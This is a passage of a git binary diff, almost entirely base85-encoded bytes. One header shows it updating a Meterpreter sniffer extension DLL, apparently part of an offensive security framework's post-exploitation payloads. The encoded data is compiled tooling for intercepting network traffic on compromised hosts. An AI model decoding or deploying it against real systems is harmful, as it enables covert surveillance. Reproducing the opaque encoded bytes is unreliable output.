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 Dp?^8b diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index 498e6649e03013764984673de6c2716d70b2f99b..0e552fbc18a1da7b0df60b1c9f90ed9ab993b586 100755 GIT binary patch delta 152988 zcmZ@>2V7Lg^S}4t6ln*@(VGZ}9mN7F$|2|>px8CBVC*e6up7`5_3}J5uKG+gQIi-G zyCJc~C~8y`yRj$6lJW?46Qf4G|9AG?!C`*?d_M8Lot>GTnVp^8o!xg7d=pggP0*4y z!ov@e+UL6)3U(MH?%%fm?>WKq_5zeWCp5X;oQK5Kqk;|7E9XG(+ZTHIWCWcSBV$uYRbBjBpd(HJbBI8chrQ zkN;kFVUa>3r?u0nv+hE}M#ZUG&1!)ArD-)&IfCtY9D7?3@@Gy8X1X zX1qg<=An}&LaWgNLe^9IDQqiTwm9uEg3rN(mvm>%b6QR-MG@3YMQ0^d&rq?h* zL-d*vcwS;{#h?}|=i@a8{QU52i>JeX$r?>@qwy*!mkv^DS^=R4TOiZUYUrFzhc4(Nh#%R|14XdU(d=lj( zwfuT$)pFSXSFcs^f4Ae?%3tK$0eThTlD+(MC~t6)y?jwE&$E}mtx|8g8w=rgOsl3* zex2e(iU<(iX!;?x>`Dq(?A0kKb5eazBE^d7-IPy+dh_&ZL=!oqn#QmPmer)i7b`Oh zI3t6d(Gn0OcQ=~uMkrt1r(FRb^8>I^{SYs3vaUSQ?UgZ?= zc3B!&krj7L&!>j<8;OxwKX?`%gN@Fp$)Q(ss(1F`lPA$6X;(n3TvY9}cA;JxNDHon z7SaRllPXFKVZ7;E(4Jf4B=BuY{Pqh-^DQ2ysc~rGqiS(r4{6ao4y?XG4QXQ5l7LE5 zA?I~lC=pg8*e8SZFtAggBCImIApgwq0me1v^KB*A&N-`Ko+U2}q{UUmp_0`e7 zF<&+JUmOH;18Y3J18mCl4iGEN-veM}VIJq))h=WKF}8SQp$1x5i)3G!Kc2jenYHo*9)B ze=if25oz(i8qNKpMku?iR%@oD?9O^iqZwvMOw;5Arw{Jg#%SqOY@Gf403yc}*Ob|9 z>QVg5)uvldm0ul-mZNjv;YKiw%QV*+6E)r_83PR8k=tiV6C$z-pX%n;6g3zLRx3t= zWwetnJejR=Zj=86C|OeH2!n3d&xY@*Hhr+6O^US7WdUkBNIi5B9i)D`s4S;*Sx#4V z;RS$d43cZQ({c2UZl?f78pFX758eJ^qa|HPbt2&0;=FRh>}QKQd*00r#>>W+9y4=& z@Y3VNwhwY^;N@}Cr=EE|Q}U%$T?pE)nQn0xY!rDlQl&N@WH~)AZ)zhYNE9Hq$|Gz% z@?4~5AEY}yD%aV0Rg)S3P&Ulq^mDrDkaN1}usE#nx~{M*44NjL;>I?7PocT&6Z|v# zdH)eF+UOb=evCqv)GNYpKvg~k%CGiPl~1h+e7>yqkhou!>&)bwKp^sIo8zuCw+9z3s)?DAL!e4WB#=@t$ zuExT9xmqL8-Ls??)K`U?*W?B0$E?A#+Qc6>?AF9VN~c$;mh@ypjMO{ZddYx)jZ#Ub z^w4?{?>*9`Q^vycxj|Xd(X9GMsC&;;YbT^LUG+8wn(&BSj+Et|?sVEU!-;yf0x9F5iWien>V9 zGz@r~j~Ls4;Zae^t<9>}NDOUu%}KMH9GGI<;rQcLeLX-<(u?;s*1tw$F{d9}R3p$e ztzR`2@i2Sj;@i8UHw^@B!BmX+!s0yNW7@HJrD=6H{lmGzZi?ii(U`S8Q3pGO8YPd; zcvbp>TGF;7;$zwbJm^27k;i9>zAVmF*U$q{KC+a7V4(}wNEfV!TffNl1&>ElKq#G6 z`lE(g|CO!lQj_JoCV3rL1zx%D!fDdot@=6F*h$wmV(u#D>Q=9M0_v3BQLMFFu%T^D zj6mrUBs5CTlplN{PIq^slmP>~pEDL7&($iufg)u9*gn>1Zc}1yk5`WyAAv_`l&E1F 